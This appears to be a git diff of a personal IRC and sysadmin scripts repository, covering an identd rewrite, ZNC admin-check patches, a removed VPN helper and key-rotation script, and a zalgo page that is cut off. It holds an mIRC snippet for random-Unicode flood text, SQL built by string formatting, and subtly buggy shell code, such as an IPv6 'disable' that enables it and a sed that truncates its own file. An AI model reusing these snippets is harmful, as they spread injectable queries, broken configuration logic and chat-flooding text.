||||||
|
|
||||||
def _create_socket(self):
|
class Identd(threading.Thread):
|
||||||
if self.ipv6:
|
def __init__(self, protocol, address, port):
|
||||||
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
self.protocol = protocol
|
||||||
self.sock.bind(('::', 113))
|
self.address = address
|
||||||
else:
|
self.port = port
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
self.sock = None
|
||||||
sock.bind(('0.0.0.0', 113))
|
threading.Thread.__init__(self)
|
||||||
sock.listen(5)
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
self._create_sockets()
|
||||||
|
self._drop_privledges()
|
||||||
|
self._listen()
|
||||||
|
except Exception as ex:
|
||||||
|
print('error: ' + str(ex))
|
||||||
|
|
||||||
|
def _create_sockets(self):
|
||||||
|
self.sock = socket.socket(self.protocol)
|
||||||
|
self.sock.bind((self.address, self.port))
|
||||||
|
self.sock.listen(5)
|
||||||
|
self.sock.setblocking(0)
|
||||||
|
|
||||||
def _drop_privledges(self):
|
def _drop_privledges(self):
|
||||||
os.setgroups([])
|
os.setgroups([])
|
||||||
os.setgid(pwd.getpwnam('nobody').pw_gid)
|
os.setgid(pwd.getpwnam('nobody').pw_gid)
|
||||||
os.setuid(pwd.getpwnam('nobody').pw_uid)
|
os.setuid(pwd.getpwnam('nobody').pw_uid)
|
||||||
|
|
||||||
def _start(self):
|
|
||||||
self._create_socket()
|
|
||||||
if check_privledges():
|
|
||||||
self._drop_privledges()
|
|
||||||
self._listen()
|
|
||||||
|
|
||||||
def _listen(self):
|
def _listen(self):
|
||||||
while True:
|
while True:
|
||||||
client, addr = sock.accept()
|
client, addr = self.sock.accept()
|
||||||
data = client.recv(1024).decode('ascii').rstrip()
|
data = client.recv(1024).decode('ascii').rstrip()
|
||||||
source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
|
source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
|
||||||
debug(f'[REQUEST] {source_ip}: {data}')
|
print(f'[REQUEST] {source_ip}: {data}')
|
||||||
response = self._parse_data(data)
|
response = self._parse_data(data)
|
||||||
client.send(f'{response}\r\n'.encode('ascii'))
|
client.send(f'{response}\r\n'.encode('ascii'))
|
||||||
debug(f'[ REPLY ] {source_ip}: {response}')
|
print(f'[ REPLY ] {source_ip}: {response}')
|
||||||
client.close()
|
client.close()
|
||||||
|
|
||||||
def _parse_data(self, data):
|
def _parse_data(self, data):
|
||||||
@ -59,4 +70,11 @@ class server(object):
|
|||||||
rport = int(re.sub(r'\D', '', rport))
|
rport = int(re.sub(r'\D', '', rport))
|
||||||
if not is_valid_port(lport) or not is_valid_port(rport):
|
if not is_valid_port(lport) or not is_valid_port(rport):
|
||||||
return data + ' : ERROR : INVALID-PORT'
|
return data + ' : ERROR : INVALID-PORT'
|
||||||
return data + ' : USERID : UNIX : ' + username # RANDOM?
|
return data + ' : USERID : UNIX : ' + random_str(5)
|
||||||
|
|
||||||
|
if not check_privledges():
|
||||||
|
raise SystemExit('requires sudo privledges to bind to port 113')
|
||||||
|
Identd(socket.AF_INET, '0.0.0.0', 113).start()
|
||||||
|
Identd(socket.AF_INET6, '::', 113).start()
|
||||||
|
while True:
|
||||||
|
input('')
|
||||||
|
@ -1,64 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random)
|
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import sqlite3
|
|
||||||
import time
|
|
||||||
import urllib.request
|
|
||||||
|
|
||||||
# Settings
|
|
||||||
throttle = 3
|
|
||||||
|
|
||||||
# Globals
|
|
||||||
db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db')
|
|
||||||
db = sqlite3.connect(db_file)
|
|
||||||
sql = db.cursor()
|
|
||||||
|
|
||||||
def db_add(name, address, port, ssl):
|
|
||||||
sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl))
|
|
||||||
db.commit()
|
|
||||||
|
|
||||||
def db_setup():
|
|
||||||
tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
|
|
||||||
if len(tables):
|
|
||||||
sql.execute('DROP TABLE SERVERS')
|
|
||||||
sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);')
|
|
||||||
db.commit()
|
|
||||||
|
|
||||||
def get_source(url):
|
|
||||||
req = urllib.request.Request(url)
|
|
||||||
req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
|
|
||||||
source = urllib.request.urlopen(req, timeout=15)
|
|
||||||
charset = source.headers.get_content_charset()
|
|
||||||
if charset:
|
|
||||||
return source.read().decode(charset)
|
|
||||||
else:
|
|
||||||
return source.read().decode()
|
|
||||||
|
|
||||||
db_setup()
|
|
||||||
source = get_source('http://irc.netsplit.de/networks/')
|
|
||||||
networks = re.findall('<a class=".*?" href="/networks/(.*?)/"', source, re.IGNORECASE|re.MULTILINE)
|
|
||||||
print(f'[~] - Found {len(networks)} networks on NetSplit.')
|
|
||||||
for network in networks:
|
|
||||||
source = get_source('http://irc.netsplit.de/networks/status.php?net=' + network)
|
|
||||||
source = source.replace('style=\'color:#666666;\'', '')
|
|
||||||
source = source.replace('​', '')
|
|
||||||
while ' ' in source:
|
|
||||||
source = source.replace(' ', ' ')
|
|
||||||
checker = re.findall('<td valign="top">.*?<br>((.*?))</td>', source, re.IGNORECASE|re.MULTILINE)
|
|
||||||
if checker:
|
|
||||||
servers = re.findall(r'<td valign="top">(.*?)<br>.*?</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
|
|
||||||
else:
|
|
||||||
servers = re.findall(r'<td valign="top">(.*?)</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
|
|
||||||
servers = list(set(servers))
|
|
||||||
for server in servers:
|
|
||||||
address = server[0].split(':')[0]
|
|
||||||
port = int(server[0].split(':')[1])
|
|
||||||
if server[1] == 'off':
|
|
||||||
ssl = 0
|
|
||||||
else:
|
|
||||||
ssl = 1
|
|
||||||
db_add(network, address, port, ssl)
|
|
||||||
print('{0}{1}:{2}'.format(network.ljust(30), address, port))
|
|
||||||
time.sleep(throttle)
|
|
@ -1,26 +0,0 @@
|
|||||||
alias UTF81 {
|
|
||||||
if ($1 < 161) { return $chr($1) }
|
|
||||||
elseif ($len($base($1,10,2)) < 12) { return $+($chr($calc(192 + $div($1,64))),$chr($calc(128 + [ $1 % 64 ] ))) }
|
|
||||||
elseif ($len($base($1,10,2)) < 17) { return $+($chr($calc(224 + $div($1,4096))),$chr($calc(128 + [ $div($1,64) % 64 ] )),$chr($calc(128 + [ $1 % 64 ] ))) }
|
|
||||||
elseif ($len($base($1,10,2)) < 22) {
|
|
||||||
return $+($chr($calc(240 + $div($1,262144))),$chr($calc(128 + [ $div($1,4096) % 64 ] )),$chr($calc(128 + [ $div($1,64) % 64 ] )),$&
|
|
||||||
$chr($calc(128 + [ $1 % 64 ] )))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
alias -l div { return $int($calc($1 / $2)) }
|
|
||||||
alias UTF8 {
|
|
||||||
if ($version >= 7) return $chr($1)
|
|
||||||
else {
|
|
||||||
var %x $base($1,10,2),%y $len(%x)
|
|
||||||
if ($1 < 161) { return $chr($1) }
|
|
||||||
elseif (%y < 12) { return $+($shift(11000000,$left(%x,-6)),$shift(10000000,$right(%x,6))) }
|
|
||||||
elseif (%y < 17) { return $+($shift(11100000,$left(%x,-12)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6))) }
|
|
||||||
elseif (%y < 22) {
|
|
||||||
return $+($shift(11110000,$left(%x,-18)),$shift(10000000,$mid(%x,$iif(%y < 18,$+(-,%y),-18),6)),$shift(10000000,$mid(%x,-12,6)),$shift(10000000,$right(%x,6)))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+ $utf8($rand(123456,999999)) $+
|
|
||||||
|
|
||||||
# ^ etc like 100+ times
|
|
@ -1,175 +0,0 @@
|
|||||||
user@linux ~/build/znc-acid $ git diff
|
|
||||||
diff --git a/modules/controlpanel.cpp b/modules/controlpanel.cpp
|
|
||||||
index 0b7796aa..edd14420 100644
|
|
||||||
--- a/modules/controlpanel.cpp
|
|
||||||
+++ b/modules/controlpanel.cpp
|
|
||||||
@@ -319,12 +319,37 @@ class CAdminMod : public CModule {
|
|
||||||
pUser->SetAltNick(sValue);
|
|
||||||
PutModule("AltNick = " + sValue);
|
|
||||||
} else if (sVar == "ident") {
|
|
||||||
+
|
|
||||||
+ // Don't need them changing this, used to identify them.
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
pUser->SetIdent(sValue);
|
|
||||||
+
|
|
||||||
PutModule("Ident = " + sValue);
|
|
||||||
} else if (sVar == "realname") {
|
|
||||||
+
|
|
||||||
+ // Some BNC's put their link in the realname.
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
pUser->SetRealName(sValue);
|
|
||||||
PutModule("RealName = " + sValue);
|
|
||||||
} else if (sVar == "bindhost") {
|
|
||||||
+
|
|
||||||
+ // That code below is annoying. Just do this first.
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (!pUser->DenySetBindHost() || GetUser()->IsAdmin()) {
|
|
||||||
if (sValue.Equals(pUser->GetBindHost())) {
|
|
||||||
PutModule(t_s("This bind host is already set!"));
|
|
||||||
@@ -607,9 +632,24 @@ class CAdminMod : public CModule {
|
|
||||||
pNetwork->SetAltNick(sValue);
|
|
||||||
PutModule("AltNick = " + pNetwork->GetAltNick());
|
|
||||||
} else if (sVar.Equals("ident")) {
|
|
||||||
+
|
|
||||||
+ // Don't need them changing this, used to identify them.
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
pNetwork->SetIdent(sValue);
|
|
||||||
PutModule("Ident = " + pNetwork->GetIdent());
|
|
||||||
} else if (sVar.Equals("realname")) {
|
|
||||||
+
|
|
||||||
+ // Some BNC's put their link in the realname.
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
pNetwork->SetRealName(sValue);
|
|
||||||
PutModule("RealName = " + pNetwork->GetRealName());
|
|
||||||
} else if (sVar.Equals("bindhost")) {
|
|
||||||
@@ -1022,6 +1062,11 @@ class CAdminMod : public CModule {
|
|
||||||
CString sNetwork = sLine.Token(2);
|
|
||||||
CUser* pUser = GetUser();
|
|
||||||
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
if (sNetwork.empty()) {
|
|
||||||
sNetwork = sUser;
|
|
||||||
} else {
|
|
||||||
@@ -1067,6 +1112,12 @@ class CAdminMod : public CModule {
|
|
||||||
CString sNetwork = sLine.Token(2);
|
|
||||||
CUser* pUser = GetUser();
|
|
||||||
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (sNetwork.empty()) {
|
|
||||||
sNetwork = sUser;
|
|
||||||
} else {
|
|
||||||
@@ -1149,6 +1200,12 @@ class CAdminMod : public CModule {
|
|
||||||
CString sNetwork = sLine.Token(2);
|
|
||||||
CString sServer = sLine.Token(3, true);
|
|
||||||
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (sServer.empty()) {
|
|
||||||
PutModule(
|
|
||||||
t_s("Usage: AddServer <username> <network> <server> [[+]port] "
|
|
||||||
@@ -1180,6 +1237,12 @@ class CAdminMod : public CModule {
|
|
||||||
unsigned short uPort = sLine.Token(4).ToUShort();
|
|
||||||
CString sPass = sLine.Token(5);
|
|
||||||
|
|
||||||
+ if (!GetUser()->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (sServer.empty()) {
|
|
||||||
PutModule(
|
|
||||||
t_s("Usage: DelServer <username> <network> <server> [[+]port] "
|
|
||||||
diff --git a/src/ClientCommand.cpp b/src/ClientCommand.cpp
|
|
||||||
index 44bcc324..81704ed1 100644
|
|
||||||
--- a/src/ClientCommand.cpp
|
|
||||||
+++ b/src/ClientCommand.cpp
|
|
||||||
@@ -536,6 +536,14 @@ void CClient::UserCommand(CString& sLine) {
|
|
||||||
PutStatus(t_f("Total: {1}, Joined: {2}, Detached: {3}, Disabled: {4}")(
|
|
||||||
vChans.size(), uNumJoined, uNumDetached, uNumDisabled));
|
|
||||||
} else if (sCommand.Equals("ADDNETWORK")) {
|
|
||||||
+
|
|
||||||
+ // Just them anyway.
|
|
||||||
+ if (!m_pUser->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (!m_pUser->IsAdmin() && !m_pUser->HasSpaceForNewNetwork()) {
|
|
||||||
PutStatus(t_s(
|
|
||||||
"Network number limit reached. Ask an admin to increase the "
|
|
||||||
@@ -569,6 +577,12 @@ void CClient::UserCommand(CString& sLine) {
|
|
||||||
} else if (sCommand.Equals("DELNETWORK")) {
|
|
||||||
CString sNetwork = sLine.Token(1);
|
|
||||||
|
|
||||||
+ if (!m_pUser->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
+
|
|
||||||
if (sNetwork.empty()) {
|
|
||||||
PutStatus(t_s("Usage: DelNetwork <name>"));
|
|
||||||
return;
|
|
||||||
@@ -744,6 +758,11 @@ void CClient::UserCommand(CString& sLine) {
|
|
||||||
} else if (sCommand.Equals("ADDSERVER")) {
|
|
||||||
CString sServer = sLine.Token(1);
|
|
||||||
|
|
||||||
+ if (!m_pUser->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
if (!m_pNetwork) {
|
|
||||||
PutStatus(t_s(
|
|
||||||
"You must be connected with a network to use this command"));
|
|
||||||
@@ -763,6 +782,11 @@ void CClient::UserCommand(CString& sLine) {
|
|
||||||
"added or openssl is disabled?"));
|
|
||||||
}
|
|
||||||
} else if (sCommand.Equals("REMSERVER") || sCommand.Equals("DELSERVER")) {
|
|
||||||
+ if (!m_pUser->IsAdmin()) {
|
|
||||||
+ PutStatus(t_s(
|
|
||||||
+ "You cannot do that."));
|
|
||||||
+ return;
|
|
||||||
+ }
|
|
||||||
if (!m_pNetwork) {
|
|
||||||
PutStatus(t_s(
|
|
||||||
"You must be connected with a network to use this command"));
|
|
@ -1,171 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
DEFAULT_SERVER=0
|
|
||||||
DISABLE_IPV6=1
|
|
||||||
|
|
||||||
function disable_ipv6 {
|
|
||||||
sysctl -w net.ipv6.conf.all.disable_ipv6=0
|
|
||||||
sysctl -w net.ipv6.conf.default.disable_ipv6=0
|
|
||||||
sysctl -w net.ipv6.conf.lo.disable_ipv6=0
|
|
||||||
}
|
|
||||||
|
|
||||||
function generate_config {
|
|
||||||
if [ -f /etc/openvpn/client/mullvad/mullvad.conf ]; then
|
|
||||||
sed '14s/.*/remote ${1}.mullvad.net ${2}/' /etc/openvpn/client/mullvad/mullvad.conf > /etc/openvpn/client/mullvad/mullvad.conf
|
|
||||||
else
|
|
||||||
echo "auth-user-pass auth
|
|
||||||
ca ca.crt
|
|
||||||
cipher AES-256-CBC
|
|
||||||
client
|
|
||||||
comp-lzo
|
|
||||||
crl-verify crl.pem
|
|
||||||
dev tun
|
|
||||||
nobind
|
|
||||||
persist-key
|
|
||||||
persist-tun
|
|
||||||
ping 10
|
|
||||||
ping-restart 60
|
|
||||||
proto udp
|
|
||||||
remote ${1}.mullvad.net ${2}
|
|
||||||
remote-cert-tls server
|
|
||||||
resolv-retry infinite
|
|
||||||
tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA
|
|
||||||
tun-ipv6
|
|
||||||
verb 3" > /etc/openvpn/client/mullvad/mullvad.conf
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
function menu_auth {
|
|
||||||
ACCOUNT_NUMBER=$(dialog --backtitle "Mullvad VPN Helper" --title "Login" --inputbox "Account Number:" 8 50 2>&1 >/dev/tty)
|
|
||||||
clear
|
|
||||||
echo -e "$ACCOUNT_NUMBER\nm" > /etc/openvpn/client/mullvad/auth
|
|
||||||
chmod 600 /etc/openvpn/client/mullvad/auth
|
|
||||||
chown root:root /etc/openvpn/client/mullvad/auth
|
|
||||||
}
|
|
||||||
|
|
||||||
function menu_server {
|
|
||||||
if [ $DEFAULT_SERVER -eq 0 ]; then
|
|
||||||
OPTIONS=(1 "Random"
|
|
||||||
2 "Austria (AT)"
|
|
||||||
3 "Australia (AU)"
|
|
||||||
4 "Belgium (BE)"
|
|
||||||
5 "Bulgaria (BG)"
|
|
||||||
6 "Canada (CA)"
|
|
||||||
7 "Canada (CA) - Toronto"
|
|
||||||
8 "Canada (CA) - Vancouver"
|
|
||||||
9 "Czech Republic (CZ)"
|
|
||||||
10 "Denmark (DK)"
|
|
||||||
11 "Germany (DE)"
|
|
||||||
12 "Germany (DE) - Berlin"
|
|
||||||
13 "Germany (DE) - Frankfurt"
|
|
||||||
14 "Finland (FI)"
|
|
||||||
15 "France (FR)"
|
|
||||||
16 "Hong Kong (HK)"
|
|
||||||
17 "Hungary (HU)"
|
|
||||||
18 "Israel (IL)"
|
|
||||||
19 "Italy (IT)"
|
|
||||||
20 "Japan (JP)"
|
|
||||||
21 "Moldova (MD)"
|
|
||||||
22 "Netherlands (NL)"
|
|
||||||
23 "Norway (NO)"
|
|
||||||
24 "Poland (PL)"
|
|
||||||
25 "Portugual (PT)"
|
|
||||||
26 "Romania (RO)"
|
|
||||||
27 "Singapore (SG)"
|
|
||||||
28 "Spain (ES)"
|
|
||||||
29 "Sweden (SE)"
|
|
||||||
30 "Sweden (SE) - Helsingborg"
|
|
||||||
31 "Sweden (SE) - Malmö"
|
|
||||||
32 "Sweden (SE) - Stockholm"
|
|
||||||
33 "Switzerland (CH)"
|
|
||||||
34 "United Kingdom (GB)"
|
|
||||||
35 "United Kingdom (GB) - London"
|
|
||||||
36 "United Kingdom (GB) - Manchester"
|
|
||||||
37 "United States (US)"
|
|
||||||
38 "United States (US) - Arizona"
|
|
||||||
39 "United States (US) - California"
|
|
||||||
40 "United States (US) - Florida"
|
|
||||||
41 "United States (US) - Georgia"
|
|
||||||
42 "United States (US) - Illinois"
|
|
||||||
43 "United States (US) - Nevada"
|
|
||||||
44 "United States (US) - New Jersey"
|
|
||||||
45 "United States (US) - New York"
|
|
||||||
46 "United States (US) - Texas"
|
|
||||||
47 "United States (US) - Utah"
|
|
||||||
48 "United States (US) - Washington"
|
|
||||||
49 "United States (US) - Washington DC")
|
|
||||||
CHOICE=$(dialog --clear --backtitle "Mullvad VPN Helper" --title "Connection" --menu "Select a regional server below:" 20 60 20 "${OPTIONS[@]}" 2>&1 >/dev/tty)
|
|
||||||
clear
|
|
||||||
if [ $CHOICE -eq 1 ]; then
|
|
||||||
CHOICE=$(shuf -i 2-38 -n 1)
|
|
||||||
fi
|
|
||||||
elif [ $DEFAULT_SERVER == 1 ]; then
|
|
||||||
CHOICE=$(shuf -i 2-38 -n 1)
|
|
||||||
else
|
|
||||||
CHOICE=$DEFAULT_SERVER
|
|
||||||
fi
|
|
||||||
case $CHOICE in
|
|
||||||
2) generate_config "at" "1302";;
|
|
||||||
3) generate_config "au" "1302";;
|
|
||||||
4) generate_config "be" "1196";;
|
|
||||||
5) generate_config "bg" "1195";;
|
|
||||||
6) generate_config "ca" "1301";;
|
|
||||||
7) generate_config "ca-bc" "1196";;
|
|
||||||
8) generate_config "ca-on" "1196";;
|
|
||||||
9) generate_config "cz" "1302";;
|
|
||||||
10) generate_config "dk" "1197";;
|
|
||||||
11) generate_config "de" "1195";;
|
|
||||||
12) generate_config "de-ber" "1197";;
|
|
||||||
13) generate_config "de-fra" "1301";;
|
|
||||||
14) generate_config "fi" "1302";;
|
|
||||||
15) generate_config "fr" "1301";;
|
|
||||||
16) generate_config "hk" "1195";;
|
|
||||||
17) generate_config "hu" "1194";;
|
|
||||||
18) generate_config "il" "1197";;
|
|
||||||
19) generate_config "it" "1196";;
|
|
||||||
20) generate_config "jp" "1197";;
|
|
||||||
21) generate_config "md" "1301";;
|
|
||||||
22) generate_config "nl" "1195";;
|
|
||||||
23) generate_config "no" "1194";;
|
|
||||||
24) generate_config "pl" "1301";;
|
|
||||||
25) generate_config "pt" "1301";;
|
|
||||||
26) generate_config "ro" "1197";;
|
|
||||||
27) generate_config "sg" "1302";;
|
|
||||||
28) generate_config "es" "1194";;
|
|
||||||
29) generate_config "se" "1195";;
|
|
||||||
30) generate_config "se-hel" "1197";;
|
|
||||||
31) generate_config "se-mma" "1194";;
|
|
||||||
32) generate_config "se-sto" "1197";;
|
|
||||||
33) generate_config "ch" "1195";;
|
|
||||||
34) generate_config "gb" "1197";;
|
|
||||||
35) generate_config "gb-lon" "1194";;
|
|
||||||
36) generate_config "gb-mnc" "1302";;
|
|
||||||
37) generate_config "us" "1196";;
|
|
||||||
38) generate_config "us-az" "1194";;
|
|
||||||
39) generate_config "us-ca" "1194";;
|
|
||||||
40) generate_config "us-fl" "1195";;
|
|
||||||
41) generate_config "us-ga" "1196";;
|
|
||||||
42) generate_config "us-il" "1196";;
|
|
||||||
43) generate_config "us-nv" "1302";;
|
|
||||||
44) generate_config "us-nj" "1301";;
|
|
||||||
45) generate_config "us-ny" "1195";;
|
|
||||||
46) generate_config "us-tx" "1195";;
|
|
||||||
47) generate_config "us-ut" "1196";;
|
|
||||||
48) generate_config "us-wa" "1197";;
|
|
||||||
49) generate_config "us-dc" "1302";;
|
|
||||||
esac
|
|
||||||
}
|
|
||||||
|
|
||||||
if [ $EUID -ne 0 ]; then
|
|
||||||
echo "[!] - This script requires sudo privledges!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
if [ ! -f /etc/openvpn/client/mullvad/auth ]; then
|
|
||||||
menu_auth
|
|
||||||
fi
|
|
||||||
if [ $DISABLE_IPV6 -eq 1 ]; then
|
|
||||||
disable_ipv6
|
|
||||||
fi
|
|
||||||
rm /etc/openvpn/client/mullvad/mullvad.conf
|
|
||||||
menu_server
|
|
||||||
openvpn --cd /etc/openvpn/client/mullvad --config mullvad.conf
|
|
5
networking/ovh6
Executable file
5
networking/ovh6
Executable file
@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
#usage: ovh6 IPV6_ADDRESS IPV6_GATEWAY
|
||||||
|
ip addr add $1/64 dev eth0
|
||||||
|
ip -6 route add $2 dev eth0
|
||||||
|
ip -6 route add default via $2 dev eth0
|
@ -1,7 +0,0 @@
|
|||||||
PROGRESS='#'
|
|
||||||
for PERCENT in {1..100}; do
|
|
||||||
echo -ne "$PERCENT%\t$PROGRESS\r"
|
|
||||||
PROGRESS="$PROGRESS#"
|
|
||||||
sleep 0.05
|
|
||||||
done
|
|
||||||
echo -e "\n"
|
|
40
rekey.sh
40
rekey.sh
@ -1,40 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
recycle_gpg_key() {
|
|
||||||
gpg --expert --full-gen-key
|
|
||||||
local KEYID="CHANGEME" # todo: automatically parse this from gpg output
|
|
||||||
gpg --export --armor $KEYID > $KEYID.pub.asc
|
|
||||||
gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc
|
|
||||||
gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc
|
|
||||||
gpg --delete-secret-key $KEYID
|
|
||||||
gpg --import $KEYID.sub_priv.asc
|
|
||||||
}
|
|
||||||
|
|
||||||
recycle_irc_key() {
|
|
||||||
local NICK="CHANGEME"
|
|
||||||
openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem
|
|
||||||
chmod 400 $NICK.pem
|
|
||||||
}
|
|
||||||
|
|
||||||
recycle_ssh_key() {
|
|
||||||
if [ ! -d $HOME/.ssh ]; then
|
|
||||||
mkdir $HOME/.ssh
|
|
||||||
else
|
|
||||||
[ -f $HOME/.ssh/key ] && mv $HOME/.ssh/key $HOME/.ssh/key.back
|
|
||||||
[ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub
|
|
||||||
fi
|
|
||||||
read -p "Password: " $PASSWORD
|
|
||||||
ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q
|
|
||||||
}
|
|
||||||
|
|
||||||
setup_authorized_keys() {
|
|
||||||
if [ ! -d /etc/ssh/authorized_keys ]; then
|
|
||||||
mkdir /etc/ssh/authorized_keys
|
|
||||||
else
|
|
||||||
for f in /home/*/.ssh/authorized_keys; do
|
|
||||||
local USERNAME=$(echo $f | cut -d/ -f 3)
|
|
||||||
if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then
|
|
||||||
cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
fi
|
|
||||||
}
|
|
@ -90,9 +90,9 @@ def get_data(coin, start_time, end_time):
|
|||||||
|
|
||||||
CMC = CoinMarketCap()
|
CMC = CoinMarketCap()
|
||||||
ticker_data = CMC._ticker()
|
ticker_data = CMC._ticker()
|
||||||
start_time = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000)
|
start_time = int((datetime.datetime.now()-datetime.timedelta(days=180)).timestamp()*1000)
|
||||||
end_time = int(datetime.datetime.now().timestamp()*1000)
|
end_time = int(datetime.datetime.now().timestamp()*1000)
|
||||||
coins = [item['id'] for item in ticker_data] #[:10]
|
coins = [item['id'] for item in ticker_data][:10]
|
||||||
data = [get_data(coin, start_time, end_time) for coin in coins]
|
data = [get_data(coin, start_time, end_time) for coin in coins]
|
||||||
data = sorted(data, key=lambda k: float(k['std']), reverse=True)
|
data = sorted(data, key=lambda k: float(k['std']), reverse=True)
|
||||||
generate_table(data)
|
generate_table(data)
|
||||||
|
193
zalgo.html
Normal file
193
zalgo.html
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
body{background-color:#312E43;color:#FFF}
|
||||||
|
.zalgo_td {font-size:32px;width:48px;border:#000 1px solid;text-align:center}
|
||||||
|
.zalgo_ref_table {border:#000 1px solid}
|
||||||
|
#lulz_container{padding:50px;border:#000 1px solid}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
var zalgo_up = [
|
||||||
|
'\u030d', '\u030e', '\u0304', '\u0305',
|
||||||
|
'\u033f', '\u0311', '\u0306', '\u0310',
|
||||||
|
'\u0352', '\u0357', '\u0351', '\u0307',
|
||||||
|
'\u0308', '\u030a', '\u0342', '\u0343',
|
||||||
|
'\u0344', '\u034a', '\u034b', '\u034c',
|
||||||
|
'\u0303', '\u0302', '\u030c', '\u0350',
|
||||||
|
'\u0300', '\u0301', '\u030b', '\u030f',
|
||||||
|
'\u0312', '\u0313', '\u0314', '\u033d',
|
||||||
|
'\u0309', '\u0363', '\u0364', '\u0365',
|
||||||
|
'\u0366', '\u0367', '\u0368', '\u0369',
|
||||||
|
'\u036a', '\u036b', '\u036c', '\u036d',
|
||||||
|
'\u036e', '\u036f', '\u033e', '\u035b',
|
||||||
|
'\u0346', '\u031a'
|
||||||
|
];
|
||||||
|
var zalgo_down = [
|
||||||
|
'\u0316', '\u0317', '\u0318', '\u0319',
|
||||||
|
'\u031c', '\u031d', '\u031e', '\u031f',
|
||||||
|
'\u0320', '\u0324', '\u0325', '\u0326',
|
||||||
|
'\u032d', '\u032e', '\u032f', '\u0330',
|
||||||
|
'\u0329', '\u032a', '\u032b', '\u032c',
|
||||||
|
'\u0331', '\u0332', '\u0333', '\u0339',
|
||||||
|
'\u033a', '\u033b', '\u033c', '\u0345',
|
||||||
|
'\u0347', '\u0348', '\u0349', '\u034d',
|
||||||
|
